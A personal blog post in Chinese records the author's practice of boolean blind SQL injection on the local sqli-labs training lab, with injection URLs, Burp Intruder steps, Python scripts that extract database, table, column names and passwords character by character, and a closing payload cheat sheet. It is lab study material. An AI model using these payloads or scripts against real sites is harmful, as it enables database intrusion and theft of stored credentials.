Lemon's blog

sql注入学习——布尔盲注

Record my learning process of SQL-labs.

字数统计: 1.4k阅读时长: 6 min
2019/07/24 Share

前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注

首先来了解一下盲注的概念

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。

布尔盲注

原理:
注入的时候只会返回True和False,所以布尔盲注就是根据页面显示的是True还是False进行猜测数据库中的信息。

布尔盲注需要几个函数的辅助,就先来了解一下这几个函数

1
2
3
4
length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符

具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。

判断注入点(也就是闭合符号)
发现输入id=1'会报错

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

id=1'后再加上注释符号后又回显正确,所以判定闭合符号为'

爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了

1
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

回显正确
在这里插入图片描述
手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8

爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名

1
Less-8/?id=1' and  ord(substr(database(),1,1))>99 --+

1
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
1
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写脚本,也可以用burp爆破,这里两种方法都试一下

burp爆破

先抓包
在这里插入图片描述
设置变量,这里设置了两个变量所以上面的框中要选第四个选项
在这里插入图片描述
第一个变量设置为numbers 1到8,第二个变量也设置为numbers 0到127
在这里插入图片描述
分别设置好,然后开始爆破。
不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。
在这里插入图片描述
附上大佬博客利用burp盲注

脚本爆破

目前脚本还不会写,就参考大佬的学习一下
大佬博客布尔盲注
脚本中一些不太懂的语法就参考下面大佬的博客
Python requests
Python——入门级(定义功能def函数)
格式化输出字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
def database_len():
for i in range(1,10):
url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' %i #格式化输出字符串
# print(url+payload+'%23')
r = requests.get(url+payload+'%23')
if 'You are in' in r.text:
print(i)

else:
#print('false')
print('database_length:',i)
break
database_len()

def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('database_name:',name)

database_name()

在这里插入图片描述
爆出了数据库名和长度,接下来改payload爆出表名
payload:

1
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+

修改一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def table_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('table_name:',name)

table_name()

通过修改 limit 0,1 来获取其他表名
在这里插入图片描述
爆出列名
payload:

1
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

修改脚本,跑出列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def column_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
# print(url+'%23')
r = requests.get(url+'%23')
if 'You are in' in r.text:
name = name+i

print(name)

break
print('column_name:',name)

column_name()

在这里插入图片描述
其他的修改limit后的值即可得出其他的列名

爆值

1
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给i的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。

最后总结一下布尔盲注常用语句

爆数据库长度

1
?id=1' and (length(database()))>1 --+

爆数据库名

1
?id=1' and (ascii(substr(database(),1,1)))>1 --+

爆表名

1
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

爆列名

1
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

爆值

1
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+

语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。

CATALOG
  1. 1. burp爆破
  2. 2. 脚本爆破